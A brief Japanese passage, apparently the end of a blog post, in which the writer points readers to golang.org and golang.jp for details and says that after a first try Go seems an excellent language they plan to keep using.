ここにあるほとんどのことはgolang.orgを見れば書いてある。日本語の情報もgolang.jpに詳しく書いてあるので心配はいらない。
とりあえず少し触ってみただけだったがgolangは素晴らしい言語だと思った。今後も使っていこう。